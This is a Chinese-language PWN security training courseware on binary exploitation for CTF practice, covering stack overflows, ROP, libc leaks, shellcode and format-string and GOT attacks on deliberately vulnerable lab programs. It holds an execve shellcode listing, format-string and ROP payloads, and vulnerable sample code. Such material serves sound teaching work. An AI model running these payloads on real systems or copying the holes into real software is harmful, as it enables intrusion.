版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)
文檔簡介
李罡老師PWN安全攻防培訓(xùn)課件第一章:培訓(xùn)導(dǎo)入與環(huán)境準(zhǔn)備在開始我們的PWN安全攻防之旅前,我們需要了解本課程的整體架構(gòu)和必要的環(huán)境準(zhǔn)備工作。本章將概述PWN漏洞的基本概念,幫助您構(gòu)建適合的學(xué)習(xí)環(huán)境,并介紹關(guān)鍵工具的安裝與配置方法。環(huán)境要求本課程要求學(xué)員具備基本的Linux操作系統(tǒng)知識和C語言編程基礎(chǔ)。我們將在Ubuntu16.04系統(tǒng)上進(jìn)行所有實驗,該系統(tǒng)提供了穩(wěn)定且適合漏洞利用研究的環(huán)境。工具準(zhǔn)備您需要準(zhǔn)備虛擬機(jī)軟件(如VirtualBox或VMware)、調(diào)試工具(GDB及其插件)、反匯編工具(IDAPro)以及Python環(huán)境(用于編寫漏洞利用腳本)。學(xué)習(xí)資料本課程提供詳細(xì)的實驗指導(dǎo)手冊、示例代碼和漏洞樣本。建議學(xué)員在課后反復(fù)練習(xí),鞏固所學(xué)知識,提高實際操作能力。培訓(xùn)目標(biāo)與內(nèi)容概覽本培訓(xùn)課程旨在系統(tǒng)性地提升學(xué)員在二進(jìn)制安全領(lǐng)域的專業(yè)能力,幫助學(xué)員從理論到實踐全面掌握PWN技術(shù)。通過為期七章的系統(tǒng)學(xué)習(xí),您將能夠:1掌握PWN漏洞原理與利用技巧深入理解棧溢出、格式化字符串、堆溢出等常見漏洞的產(chǎn)生機(jī)制和利用方法,能夠獨立分析和利用各類二進(jìn)制漏洞。2熟悉Linux環(huán)境與調(diào)試工具熟練操作Linux系統(tǒng),掌握GDB、IDAPro等專業(yè)工具的使用方法,提高漏洞分析效率和準(zhǔn)確性。3實戰(zhàn)演練多種漏洞類型通過大量實際案例練習(xí),積累真實漏洞利用經(jīng)驗,培養(yǎng)解決復(fù)雜安全問題的能力和思維方式。課程內(nèi)容將按照由淺入深的原則進(jìn)行安排,從基礎(chǔ)的環(huán)境準(zhǔn)備到高級漏洞利用技術(shù),逐步提升學(xué)員的技術(shù)水平。每章節(jié)都包含理論講解和實戰(zhàn)練習(xí)相結(jié)合的內(nèi)容,確保學(xué)員能夠真正掌握所學(xué)知識。環(huán)境搭建必備軟件1Ubuntu16.04虛擬機(jī)Ubuntu16.04是進(jìn)行PWN漏洞研究的理想平臺,因為它具有穩(wěn)定的系統(tǒng)環(huán)境和豐富的開發(fā)工具支持。我們推薦使用VirtualBox作為虛擬化平臺,它免費開源且跨平臺兼容性好。安裝步驟:從官方網(wǎng)站下載Ubuntu16.04LTS鏡像文件安裝VirtualBox并創(chuàng)建新的虛擬機(jī)分配至少2GB內(nèi)存和20GB硬盤空間掛載ISO鏡像并按照指引完成安裝2IDA靜態(tài)分析工具IDAPro是業(yè)內(nèi)領(lǐng)先的反匯編和調(diào)試工具,對于分析二進(jìn)制程序結(jié)構(gòu)和漏洞至關(guān)重要。我們將使用IDA分析目標(biāo)程序的控制流、函數(shù)調(diào)用關(guān)系和內(nèi)存布局等關(guān)鍵信息。功能特點:強(qiáng)大的反匯編和反編譯能力跨平臺支持多種處理器架構(gòu)圖形化函數(shù)調(diào)用流程顯示插件系統(tǒng)擴(kuò)展功能3GDB調(diào)試及常用插件GDB是Linux下最常用的調(diào)試工具,通過安裝專用插件可以大幅提升PWN漏洞分析效率。以下三個插件各有特點:PEDA:提供彩色輸出和命令簡化,適合初學(xué)者GEF:功能全面,支持多種架構(gòu),界面清晰Pwndbg:專為漏洞利用設(shè)計,命令直觀高效安裝命令:gitclone/longld/peda.git~/peda&&echo"source~/peda/peda.py">>~/.gdbinitLinux基礎(chǔ)與調(diào)試環(huán)境配置常用Shell命令快速回顧在進(jìn)行PWN漏洞分析時,熟練使用Linux命令行是基本要求。以下是一些最常用的命令:ls-la顯示所有文件(包括隱藏文件)的詳細(xì)信息file查看文件類型,判斷二進(jìn)制文件架構(gòu)和保護(hù)機(jī)制checksec檢查二進(jìn)制文件的安全保護(hù)機(jī)制ldd查看程序依賴的動態(tài)鏈接庫objdump查看二進(jìn)制文件的匯編代碼readelf分析ELF文件格式信息GDB插件安裝與使用技巧推薦安裝的GDB插件及其特點:PEDA安裝:gitclone/longld/peda.git~/peda&&echo"source~/peda/peda.py">>~/.gdbinitGEF安裝:wget-q-O-/hugsy/gef/raw/master/scripts/gef.sh|shPwndbg安裝:gitclone/pwndbg/pwndbg&&cdpwndbg&&./setup.shpwntools自動化利用框架簡介pwntools是專為CTF比賽和漏洞利用研究設(shè)計的Python庫,它提供了豐富的功能:與進(jìn)程和網(wǎng)絡(luò)服務(wù)的交互接口匯編/反匯編功能ROP鏈自動構(gòu)建便捷的內(nèi)存數(shù)據(jù)操作函數(shù)安裝命令:pipinstallpwntools基本使用示例:frompwnimport*#連接到本地進(jìn)程p=process('./vulnerable_binary')#發(fā)送數(shù)據(jù)p.sendline(b'A'*100)#接收數(shù)據(jù)response=p.recvline()#交互式eractive()環(huán)境配置檢查清單完成以下配置后,您的PWN分析環(huán)境就基本準(zhǔn)備就緒:Ubuntu16.04虛擬機(jī)安裝完成并更新系統(tǒng)GDB及至少一個增強(qiáng)插件安裝成功IDAPro安裝并能正常加載二進(jìn)制文件Python環(huán)境配置完成并安裝pwntools庫第二章:棧溢出漏洞詳解棧溢出是最基礎(chǔ)也是最常見的二進(jìn)制漏洞類型之一,深入理解棧溢出漏洞對于掌握PWN技術(shù)至關(guān)重要。本章將系統(tǒng)介紹棧溢出漏洞的原理、檢測方法和利用技巧,幫助學(xué)員建立堅實的二進(jìn)制漏洞利用基礎(chǔ)。棧溢出漏洞形成原因棧溢出漏洞主要由不安全的緩沖區(qū)操作導(dǎo)致,當(dāng)程序?qū)?shù)據(jù)寫入棧上緩沖區(qū)時沒有進(jìn)行邊界檢查,導(dǎo)致輸入的數(shù)據(jù)超出了緩沖區(qū)的大小,覆蓋了棧上的其他數(shù)據(jù),如局部變量、保存的寄存器值、返回地址等。棧溢出漏洞危害攻擊者可以通過棧溢出漏洞控制程序執(zhí)行流程,執(zhí)行任意代碼,獲取系統(tǒng)權(quán)限,導(dǎo)致嚴(yán)重的安全事件。歷史上許多著名的安全漏洞都與棧溢出有關(guān),如Morris蠕蟲、CodeRed等。本章學(xué)習(xí)目標(biāo)通過本章學(xué)習(xí),學(xué)員將能夠理解棧內(nèi)存布局、函數(shù)調(diào)用約定,掌握基本的棧溢出利用方法,能夠構(gòu)造ROP鏈實現(xiàn)復(fù)雜攻擊,并了解相關(guān)防護(hù)措施及繞過技術(shù)。在接下來的幾節(jié)課中,我們將從簡單的局部變量覆蓋,逐步過渡到返回地址劫持、ROP鏈構(gòu)造等高級技術(shù),通過大量實際案例加深對棧溢出漏洞的理解。每個概念都會配合相應(yīng)的代碼示例和實際操作演示,確保學(xué)員能夠真正掌握這些技術(shù)。棧溢出基礎(chǔ)知識棧結(jié)構(gòu)與函數(shù)調(diào)用機(jī)制棧是程序運(yùn)行時用于存儲臨時數(shù)據(jù)的內(nèi)存區(qū)域,遵循"后進(jìn)先出"(LIFO)原則。在x86架構(gòu)中,棧從高地址向低地址增長,主要用于:存儲函數(shù)的局部變量保存函數(shù)調(diào)用的返回地址傳遞函數(shù)參數(shù)(取決于調(diào)用約定)保存寄存器狀態(tài)函數(shù)調(diào)用過程:調(diào)用者將參數(shù)壓棧(從右向左)執(zhí)行CALL指令,將返回地址壓棧跳轉(zhuǎn)到被調(diào)用函數(shù)被調(diào)用函數(shù)保存?;罚‥BP)分配棧空間給局部變量函數(shù)執(zhí)行完畢后,恢復(fù)棧狀態(tài)并返回覆蓋局部變量與返回地址原理棧溢出攻擊的核心原理是利用程序的內(nèi)存寫入操作超出預(yù)分配的邊界,從而覆蓋棧上的關(guān)鍵數(shù)據(jù)。根據(jù)覆蓋目標(biāo)的不同,可分為:局部變量覆蓋當(dāng)輸入的數(shù)據(jù)超出緩沖區(qū)大小但未達(dá)到返回地址時,可能覆蓋棧上的其他局部變量,改變程序執(zhí)行邏輯。返回地址覆蓋當(dāng)輸入數(shù)據(jù)足夠長,可以覆蓋保存在棧上的返回地址,使函數(shù)執(zhí)行完畢后跳轉(zhuǎn)到攻擊者指定的位置。棧溢出漏洞的典型成因:使用不安全的函數(shù)如gets(),strcpy(),sprintf()等缺乏輸入長度檢查錯誤計算緩沖區(qū)大小整數(shù)溢出導(dǎo)致的后續(xù)緩沖區(qū)溢出在實際漏洞利用中,棧的結(jié)構(gòu)和函數(shù)調(diào)用約定會因CPU架構(gòu)(x86、x64)、操作系統(tǒng)和編譯器選項的不同而有所差異。掌握這些差異對于成功構(gòu)造漏洞利用至關(guān)重要。經(jīng)典棧溢出案例分析stack1.c:覆蓋局部變量示例這是最基礎(chǔ)的棧溢出案例,演示如何通過溢出緩沖區(qū)修改棧上的局部變量:voidvulnerable(){charbuffer[64];intcontrol=0;gets(buffer);//不安全的函數(shù)if(control==0x61626364){//"abcd"puts("成功修改control變量!");}}漏洞利用方法:分析內(nèi)存布局,確定buffer與control的相對偏移(64字節(jié))構(gòu)造Payload:64字節(jié)填充+"\x64\x63\x62\x61"(小端序)成功修改control值,觸發(fā)條件分支stack2.c:返回地址覆蓋跳轉(zhuǎn)后門函數(shù)本案例演示如何覆蓋返回地址,控制程序執(zhí)行流程:voidbackdoor(){puts("獲取shell!");system("/bin/sh");}voidvulnerable(){charbuffer[64];gets(buffer);//不安全的函數(shù)}漏洞利用方法:分析內(nèi)存布局,確定buffer與返回地址的偏移(64+8=72字節(jié))獲取backdoor函數(shù)地址構(gòu)造Payload:72字節(jié)填充+backdoor函數(shù)地址程序執(zhí)行完vulnerable函數(shù)后跳轉(zhuǎn)到backdoor函數(shù)stack3.c:ROP鏈控制函數(shù)參數(shù)本案例演示如何使用ROP技術(shù)控制函數(shù)參數(shù):voidvulnerable(){charbuffer[64];gets(buffer);}intmain(){vulnerable();return0;}當(dāng)程序中沒有直接可用的后門函數(shù)時,我們可以構(gòu)造ROP鏈:尋找程序中的"gadget"(如:poprdi;ret)構(gòu)造調(diào)用鏈:system函數(shù)地址+poprdigadget+"/bin/sh"字符串地址實現(xiàn)在沒有現(xiàn)成后門函數(shù)的情況下獲取shell通過這三個經(jīng)典案例,我們可以看到棧溢出漏洞利用的基本思路和方法。從簡單的局部變量覆蓋,到返回地址劫持,再到ROP鏈構(gòu)造,棧溢出攻擊技術(shù)不斷發(fā)展和完善。在實際操作中,我們需要根據(jù)程序的具體情況,如內(nèi)存布局、可用函數(shù)、安全保護(hù)機(jī)制等,靈活運(yùn)用這些技術(shù)。高級棧溢出技巧棧遷移與ROP鏈構(gòu)造(stack4.c)當(dāng)溢出空間有限,無法直接構(gòu)造完整ROP鏈時,棧遷移(StackPivoting)技術(shù)就顯得尤為重要:voidvulnerable(){charbuffer[40];read(0,buffer,0x200);//可控寫入長度遠(yuǎn)大于緩沖區(qū)}棧遷移實現(xiàn)步驟:尋找控制棧指針的gadget,如:leave;ret(相當(dāng)于movesp,ebp;popebp;ret)將棧指針遷移到可控區(qū)域(如bss段或堆區(qū))在新棧區(qū)域預(yù)先構(gòu)造完整ROP鏈觸發(fā)棧遷移,執(zhí)行預(yù)構(gòu)造的ROP鏈這種技術(shù)特別適用于溢出空間受限但可寫空間較大的情況,能夠構(gòu)造復(fù)雜的攻擊序列。利用libc函數(shù)地址計算system調(diào)用(stack5.c)在開啟ASLR保護(hù)的情況下,我們需要首先泄露程序加載的libc基址,然后計算system函數(shù)等關(guān)鍵函數(shù)的實際地址:voidvulnerable(){charbuffer[64];gets(buffer);}intmain(){puts("Welcometohackingchallenge!");vulnerable();return0;}利用步驟:第一次溢出:覆蓋返回地址為puts@plt,參數(shù)為puts@got,泄露puts實際地址計算libc基址:leaked_puts-puts_offset計算system地址:libc_base+system_offset計算"/bin/sh"字符串地址:libc_base+binsh_str_offset第二次溢出:構(gòu)造system("/bin/sh")調(diào)用1分析程序使用工具分析目標(biāo)程序,找出漏洞點,確定利用策略2泄露地址構(gòu)造ROP鏈泄露函數(shù)實際地址,突破ASLR保護(hù)3計算偏移根據(jù)泄露的地址計算libc基址和目標(biāo)函數(shù)地址4構(gòu)造攻擊鏈?zhǔn)褂糜嬎愠龅牡刂窐?gòu)造最終攻擊載荷5獲取shell成功執(zhí)行system("/bin/sh")獲取交互式shell在現(xiàn)代系統(tǒng)中,棧溢出漏洞利用通常需要繞過多種保護(hù)機(jī)制,如棧保護(hù)(Canary)、ASLR、NX等。成功的攻擊往往需要結(jié)合多種技術(shù),如信息泄露、ROP鏈構(gòu)造、棧遷移等。掌握這些高級技巧是成為PWN專家的必經(jīng)之路。第三章:Shellcode與格式化字符串漏洞在本章中,我們將探討兩種強(qiáng)大的漏洞利用技術(shù):Shellcode編寫與格式化字符串漏洞。這兩種技術(shù)雖然原理不同,但都是二進(jìn)制漏洞利用領(lǐng)域的重要組成部分,掌握它們將大大拓展您的漏洞利用能力。Shellcode基礎(chǔ)Shellcode是一段用于執(zhí)行特定功能的機(jī)器碼,通常用于在漏洞利用成功后獲取系統(tǒng)控制權(quán)。本章將詳細(xì)講解Shellcode的編寫原理、常見類型和繞過技術(shù),幫助學(xué)員理解如何構(gòu)造高效且穩(wěn)定的Shellcode。格式化字符串漏洞格式化字符串漏洞是一種特殊的內(nèi)存破壞漏洞,由不當(dāng)使用printf等格式化函數(shù)導(dǎo)致。與棧溢出不同,它不僅可以讀取任意內(nèi)存位置的數(shù)據(jù),還能寫入任意位置,具有極強(qiáng)的危害性。實戰(zhàn)應(yīng)用本章將通過多個實際案例,展示如何在各種環(huán)境下編寫和優(yōu)化Shellcode,以及如何發(fā)現(xiàn)和利用格式化字符串漏洞。學(xué)員將學(xué)習(xí)如何結(jié)合這些技術(shù)實現(xiàn)更加靈活和強(qiáng)大的漏洞利用方案。通過本章的學(xué)習(xí),學(xué)員將能夠:理解不同架構(gòu)下Shellcode的編寫方法和優(yōu)化技巧掌握格式化字符串漏洞的原理和利用思路學(xué)會在不同的約束條件下構(gòu)造有效的漏洞利用載荷熟悉相關(guān)的防護(hù)機(jī)制和繞過方法本章內(nèi)容較為技術(shù)性,建議學(xué)員在學(xué)習(xí)過程中多動手實踐,反復(fù)調(diào)試和測試,以加深理解和掌握。Shellcode基礎(chǔ)與編寫什么是Shellcode?Shellcode是一段可執(zhí)行的機(jī)器碼,通常以字符串形式嵌入到漏洞利用程序中,用于在目標(biāo)系統(tǒng)上執(zhí)行特定操作。名稱源自最初的目標(biāo):獲取shell訪問權(quán)限。Shellcode特點獨立性:不依賴外部函數(shù)或庫位置無關(guān):可在內(nèi)存任意位置執(zhí)行緊湊性:通常需要盡可能小避免特殊字符:根據(jù)利用場景可能需要避免如NULL字節(jié)等syscall調(diào)用實現(xiàn)shell獲取在Linux系統(tǒng)中,獲取shell的基本思路是調(diào)用execve系統(tǒng)調(diào)用執(zhí)行/bin/sh:;x86Linuxexecve("/bin/sh",["/bin/sh"],NULL)shellcodesection.textglobal_start_start:xoreax,eax;清零eaxpusheax;NULL字符串結(jié)束符push0x68732f6e;"n/sh"push0x69622f2f;"http://bi"movebx,esp;ebx指向"/bin/sh"字符串pusheax;NULLpushebx;"/bin/sh"字符串地址movecx,esp;argv數(shù)組地址xoredx,edx;envp=NULLmoval,11;execve的系統(tǒng)調(diào)用號int0x80;觸發(fā)系統(tǒng)調(diào)用ret2shellcode與orwshellcode技巧根據(jù)漏洞利用場景,Shellcode可以有多種類型:獲取Shell型經(jīng)典的execve("/bin/sh")調(diào)用,適用于本地提權(quán)或遠(yuǎn)程交互式控制。BindShell型在目標(biāo)系統(tǒng)上監(jiān)聽特定端口,等待攻擊者連接,適合突破防火墻的情況。ReverseShell型主動連接到攻擊者控制的服務(wù)器,適合目標(biāo)在NAT后面的情況。ORW型(Open-Read-Write)打開特定文件,讀取內(nèi)容并發(fā)送,適用于只需獲取特定數(shù)據(jù)的場景。;open("/flag")->read(fd,buf,size)->write(1,buf,size)編寫Shellcode的常用工具:NASM:匯編代碼編譯objdump:提取機(jī)器碼pwntool的asm/shellcraft模塊:快速生成常見shellcodestrace:跟蹤系統(tǒng)調(diào)用,調(diào)試shellcodeShellcode開發(fā)小技巧1.使用XOR指令代替MOV指令來置零寄存器,可以減少NULL字節(jié)2.使用堆棧操作構(gòu)造字符串,避免直接使用字符串常量3.利用寄存器高低位操作減少指令長度4.測試shellcode時可以用以下C程序框架:charshellcode[]="\x31\xc0\x50\x68\x6e\x2f...";intmain(){((void(*)())shellcode)();return0;}Shellcode繞過與防護(hù)seccomp規(guī)則限制下的shellcode設(shè)計Seccomp(SecureComputing)是Linux內(nèi)核的一種安全機(jī)制,可以限制程序能夠使用的系統(tǒng)調(diào)用。當(dāng)面對seccomp限制時,傳統(tǒng)的獲取shell的shellcode可能無法工作,需要采取特殊的繞過策略:1系統(tǒng)調(diào)用黑名單繞過當(dāng)seccomp規(guī)則只禁止了特定系統(tǒng)調(diào)用(如execve)時,可以嘗試使用替代系統(tǒng)調(diào)用實現(xiàn)類似功能。例如,使用clone或fork+execveat等組合來替代直接的execve調(diào)用。2orwshellcode策略當(dāng)無法執(zhí)行shell但允許文件操作時,可以使用open-read-write策略讀取目標(biāo)文件(如flag)并輸出內(nèi)容,而不需要獲取完整shell。open("flag",O_RDONLY)->read(fd,buf,size)->write(1,buf,size)3沙箱逃逸技術(shù)在一些情況下,可以利用內(nèi)核漏洞或seccomp規(guī)則配置錯誤來實現(xiàn)沙箱逃逸。這通常需要深入研究目標(biāo)系統(tǒng)的安全配置和潛在漏洞??纱蛴hellcode與側(cè)信道泄露在某些情況下,shellcode可能需要滿足特定的字符限制,如只包含可打印ASCII字符。這類限制常見于Web應(yīng)用漏洞或特殊過濾條件下:字母數(shù)字shellcode只使用字母和數(shù)字字符構(gòu)造的shellcode,通常利用如下技術(shù):自修改代碼技術(shù)利用XOR/SUB/ADD等運(yùn)算構(gòu)造需要的字節(jié)使用異或編碼等技術(shù)動態(tài)解碼真正的shellcode側(cè)信道泄露技術(shù)當(dāng)無法直接讀取敏感數(shù)據(jù)時,可以通過構(gòu)造特殊的shellcode,利用時間差、網(wǎng)絡(luò)行為或錯誤信息等側(cè)信道泄露信息:逐字節(jié)比較并根據(jù)結(jié)果執(zhí)行不同時長的操作根據(jù)條件觸發(fā)網(wǎng)絡(luò)連接,將數(shù)據(jù)編碼在DNS請求或HTTP請求中利用錯誤信息或程序行為差異來推斷數(shù)據(jù)內(nèi)容編碼與混淆技術(shù):異或編碼:使用固定密鑰或滾動密鑰對shellcode進(jìn)行異或操作多階段shellcode:第一階段解碼器很小,解碼后執(zhí)行更復(fù)雜的第二階段代碼多態(tài)/變形技術(shù):每次生成不同的shellcode但功能相同,用于逃避特征檢測編寫高級shellcode需要深入理解目標(biāo)系統(tǒng)架構(gòu)、匯編語言和操作系統(tǒng)內(nèi)部機(jī)制。在實際CTF比賽或滲透測試中,往往需要根據(jù)具體環(huán)境限制定制專用shellcode,這需要靈活運(yùn)用多種技術(shù)和創(chuàng)新思維。格式化字符串漏洞原理printf格式化字符串的安全隱患格式化字符串漏洞源于對printf、fprintf、sprintf等函數(shù)的不當(dāng)使用,當(dāng)格式化字符串可被用戶控制時,攻擊者可以利用特殊的格式說明符讀取或?qū)懭肴我鈨?nèi)存位置。常見的不安全用法:charbuffer[100];gets(buffer);printf(buffer);//不安全!應(yīng)該是printf("%s",buffer);格式化字符串中的特殊說明符:%s讀取并打印一個字符串(基于地址)%x/%p以十六進(jìn)制格式打印數(shù)據(jù)%n將已打印的字符數(shù)寫入指定地址%d以十進(jìn)制格式打印整數(shù)%c打印單個字符%h短整型修飾符其中,%n說明符是格式化字符串漏洞利用的核心,它可以將已打印的字符數(shù)量寫入指定的內(nèi)存地址,從而實現(xiàn)任意地址寫入。棧變量泄露與修改技巧格式化字符串漏洞利用的基本過程:1內(nèi)存泄露使用%x或%p說明符可以泄露棧上的數(shù)據(jù),包括函數(shù)返回地址、程序加載地址等關(guān)鍵信息。例如:printf("AAAA%08x.%08x.%08x.%08x");這將打印"AAAA"后跟四個棧值的十六進(jìn)制表示。2定位輸入控制點通過在輸入中加入特殊標(biāo)記(如"AAAA"),可以確定格式化字符串在棧中的位置。例如,如果在第6個%x時打印出0x41414141,則表示輸入的第一個參數(shù)位于棧上的第6個位置。3直接參數(shù)訪問一旦確定了位置,可以使用%n$x格式直接訪問第n個參數(shù),避免多余的輸出。例如,如果輸入在第6個位置,可以使用%6$x直接打印它。4任意內(nèi)存寫入結(jié)合%n說明符和直接參數(shù)訪問,可以實現(xiàn)對任意地址的寫入。例如://將地址0x08049794放在格式化字符串中//然后使用%n寫入該地址printf("\x94\x97\x04\x08%6$n");格式化字符串漏洞的危害與棧溢出等漏洞相比,格式化字符串漏洞更加靈活和強(qiáng)大,因為它不僅可以讀取任意內(nèi)存位置的數(shù)據(jù),還能寫入任意位置。這使得攻擊者可以:泄露棧上的敏感信息(如返回地址、函數(shù)指針等)泄露堆上的數(shù)據(jù)或程序加載的庫地址修改關(guān)鍵程序變量、函數(shù)指針或返回地址繞過各種保護(hù)機(jī)制,如ASLR、棧保護(hù)等因此,在實際編程中應(yīng)當(dāng)始終使用安全的格式化字符串寫法,即格式說明符由開發(fā)者控制,而不是用戶輸入。格式化字符串漏洞實戰(zhàn)fs2.c泄露棧變量這個案例演示如何利用格式化字符串漏洞泄露棧上的敏感信息://fs2.c#includeintmain(){charsecret[16]="FLAG{s3cr3t}";charbuffer[64];printf("輸入你的名字:");fgets(buffer,sizeof(buffer),stdin);printf("你好,");printf(buffer);//格式化字符串漏洞return0;}利用方法:輸入多個%p或%x來打印棧上的值確定secret數(shù)組在棧上的位置使用%s說明符直接打印字符串內(nèi)容示例payload:%p.%p.%p.%p.%p.%p.%p.%pfs3.c修改棧變量這個案例演示如何修改程序中的關(guān)鍵變量://fs3.c#includeintmain(){inttarget=0;charbuffer[64];printf("輸入你的名字:");fgets(buffer,sizeof(buffer),stdin);printf("你好,");printf(buffer);//格式化字符串漏洞if(target==0x1337){printf("\n恭喜,你成功修改了target值!\n");}return0;}利用方法:確定target變量在棧上的位置使用%n說明符向目標(biāo)地址寫入值控制已打印字符數(shù)為0x1337(4919)示例payload:AAAA%6$n(假設(shè)target位于第6個參數(shù))fs4.c修改返回地址跳轉(zhuǎn)后門函數(shù)這個案例演示如何劫持程序執(zhí)行流程://fs4.c#includevoidbackdoor(){system("/bin/sh");}voidvulnerable(){charbuffer[64];printf("輸入信息:");fgets(buffer,sizeof(buffer),stdin);printf("你輸入的是:");printf(buffer);//格式化字符串漏洞}intmain(){vulnerable();return0;}利用方法:確定返回地址在棧上的位置獲取backdoor函數(shù)的地址使用%n說明符修改返回地址為backdoor地址對于大數(shù)值寫入,可以使用%hn(寫入短整型)或多次寫入的方式://分兩次寫入,先寫入低16位,再寫入高16位"\xaa\xaa\xbb\xbb%6$hn%7$hn"格式化字符串漏洞的利用往往需要結(jié)合具體程序的內(nèi)存布局和安全限制。在實際攻擊中,可能需要多次嘗試,逐步泄露和修改內(nèi)存內(nèi)容,最終達(dá)到控制程序執(zhí)行流程的目的。高級利用技巧1.部分寫入:使用%hhn只寫入一個字節(jié),減少寫入數(shù)據(jù)量2.任意地址讀:將目標(biāo)地址放入格式化字符串中,然后用%s讀取該地址內(nèi)容3.GOT表覆寫:修改GOT表中的函數(shù)地址,劫持程序調(diào)用流程4._GLOBAL_OFFSET_TABLE_定位:通過特定技術(shù)定位GOT表,實現(xiàn)無需已知地址的利用第四章:動態(tài)鏈接與GOT表攻擊在本章中,我們將深入探討Linux系統(tǒng)中的動態(tài)鏈接機(jī)制,以及如何利用這一機(jī)制中的全局偏移表(GOT)實現(xiàn)程序執(zhí)行流程的劫持。動態(tài)鏈接是現(xiàn)代操作系統(tǒng)中廣泛使用的一種技術(shù),它允許程序在運(yùn)行時加載和使用共享庫函數(shù),而GOT表則是實現(xiàn)這一機(jī)制的關(guān)鍵數(shù)據(jù)結(jié)構(gòu)。動態(tài)鏈接基礎(chǔ)我們將首先介紹動態(tài)鏈接的基本概念和工作原理,包括共享庫的加載過程、延遲綁定機(jī)制等。了解這些基礎(chǔ)知識對于掌握相關(guān)的漏洞利用技術(shù)至關(guān)重要。PLT與GOT表結(jié)構(gòu)程序鏈接表(PLT)和全局偏移表(GOT)是動態(tài)鏈接中的兩個核心組件。我們將詳細(xì)講解它們的結(jié)構(gòu)、作用以及相互關(guān)系,為后續(xù)的漏洞利用打下基礎(chǔ)。漏洞利用技術(shù)基于對動態(tài)鏈接機(jī)制的理解,我們將學(xué)習(xí)如何通過修改GOT表項來劫持程序執(zhí)行流程,實現(xiàn)諸如ret2libc、函數(shù)重定向等高級攻擊技術(shù)。本章的學(xué)習(xí)目標(biāo)包括:理解ELF文件格式中與動態(tài)鏈接相關(guān)的部分掌握PLT和GOT表的工作機(jī)制和交互方式學(xué)會使用工具分析程序的動態(tài)鏈接信息掌握GOT表覆寫技術(shù)及其在實際漏洞利用中的應(yīng)用了解相關(guān)的保護(hù)機(jī)制和繞過方法通過本章的學(xué)習(xí),您將能夠更深入地理解Linux系統(tǒng)中的二進(jìn)制程序結(jié)構(gòu),并掌握一種強(qiáng)大的漏洞利用技術(shù)。這些知識不僅對于CTF比賽有重要價值,也是進(jìn)行實際安全研究和漏洞分析的基礎(chǔ)能力。動態(tài)鏈接機(jī)制簡介動態(tài)鏈接的基本概念動態(tài)鏈接是一種程序模塊組織方式,它允許程序在運(yùn)行時而非編譯時加載和鏈接所需的庫函數(shù)。相比靜態(tài)鏈接,動態(tài)鏈接具有以下優(yōu)勢:減小可執(zhí)行文件體積節(jié)省內(nèi)存(多個程序可共享同一個庫)便于庫的更新和維護(hù)支持運(yùn)行時加載(如插件系統(tǒng))PLT與GOT表作用解析動態(tài)鏈接的核心機(jī)制由程序鏈接表(ProcedureLinkageTable,PLT)和全局偏移表(GlobalOffsetTable,GOT)共同實現(xiàn):PLT(程序鏈接表)PLT是一系列跳轉(zhuǎn)指令的集合,每個需要動態(tài)鏈接的外部函數(shù)都在PLT中有一個對應(yīng)的入口。當(dāng)程序調(diào)用外部函數(shù)時,實際上是跳轉(zhuǎn)到PLT中的對應(yīng)項。GOT(全局偏移表)GOT是一個地址表,存儲了動態(tài)鏈接函數(shù)的實際地址。PLT中的代碼會使用GOT中的地址來實現(xiàn)最終的函數(shù)調(diào)用。GOT表項在程序第一次調(diào)用相應(yīng)函數(shù)時由動態(tài)鏈接器填充。libc函數(shù)調(diào)用流程以調(diào)用printf函數(shù)為例,動態(tài)鏈接的函數(shù)調(diào)用過程如下:程序調(diào)用printf函數(shù)程序中的printf()調(diào)用被編譯為對printf@plt的調(diào)用執(zhí)行PLT中的代碼控制流跳轉(zhuǎn)到PLT[printf],該處代碼會從GOT[printf]讀取地址檢查GOT表項如果是首次調(diào)用,GOT表項指向PLT中的下一條指令,觸發(fā)動態(tài)鏈接器解析動態(tài)鏈接器解析動態(tài)鏈接器查找printf的實際地址,并用該地址更新GOT表項執(zhí)行實際函數(shù)跳轉(zhuǎn)到libc中printf的實際地址執(zhí)行函數(shù)后續(xù)調(diào)用優(yōu)化之后再調(diào)用printf時,直接從GOT讀取已解析的地址,跳過解析步驟這種"延遲綁定"機(jī)制提高了程序啟動效率,只有在實際需要時才解析函數(shù)地址。相關(guān)分析工具要分析程序的動態(tài)鏈接信息,可以使用以下工具:objdump-R:顯示程序的重定位表readelf-d:查看動態(tài)段信息ldd:列出程序依賴的共享庫pwntools的ELF模塊:自動解析ELF文件格式,提取PLT/GOT信息例如,使用objdump-Rvulnerable_binary可以查看程序的GOT表信息,這對于漏洞利用分析非常有用。GOT表利用技巧dl2.c泄露libc地址實現(xiàn)ret2libc當(dāng)程序開啟了NX保護(hù)(不可執(zhí)行棧)時,我們不能直接執(zhí)行shellcode,但可以利用程序已加載的libc中的函數(shù)實現(xiàn)攻擊。這種技術(shù)稱為ret2libc。//dl2.c#includevoidvulnerable(){charbuffer[64];gets(buffer);//棧溢出漏洞}intmain(){puts("Welcome!");vulnerable();puts("Goodbye!");return0;}利用思路:利用puts@plt輸出puts@got的內(nèi)容,泄露libc中puts的實際地址根據(jù)泄露的地址計算libc基址:libc_base=leaked_puts-puts_offset計算system函數(shù)地址:system_addr=libc_base+system_offset尋找"/bin/sh"字符串:binsh_addr=libc_base+binsh_offset構(gòu)造ROP鏈調(diào)用system("/bin/sh")示例payload結(jié)構(gòu):padding+puts_plt+pop_rdi_ret+puts_got+main_addr+padding+system_addr+ret+binsh_addrdl3.c修改atoiGOT表項實現(xiàn)getshell當(dāng)程序多次調(diào)用某個函數(shù)時,我們可以通過修改其GOT表項,將后續(xù)調(diào)用重定向到我們想要執(zhí)行的函數(shù)。//dl3.c#include#includevoidget_command(){charbuffer[100];intchoice;printf("輸入命令編號:");fgets(buffer,100,stdin);choice=atoi(buffer);//這里調(diào)用atoiswitch(choice){case1:puts("執(zhí)行命令1");break;case2:puts("執(zhí)行命令2");break;default:puts("未知命令");}}intmain(){charbuffer[64];printf("輸入名稱:");gets(buffer);//棧溢出漏洞while(1){get_command();//這里會再次調(diào)用atoi}return0;}利用思路:首先通過gets函數(shù)的棧溢出漏洞,泄露libc地址計算system函數(shù)地址構(gòu)造第二次溢出,將atoi的GOT表項修改為system的地址之后程序再調(diào)用atoi時,實際執(zhí)行的是system輸入"/bin/sh"作為命令編號,即可獲取shell信息泄露利用第一次溢出泄露函數(shù)地址,突破ASLR保護(hù)地址計算根據(jù)已知偏移計算目標(biāo)函數(shù)地址GOT覆寫通過第二次溢出修改GOT表項,劫持程序執(zhí)行流程RELRO保護(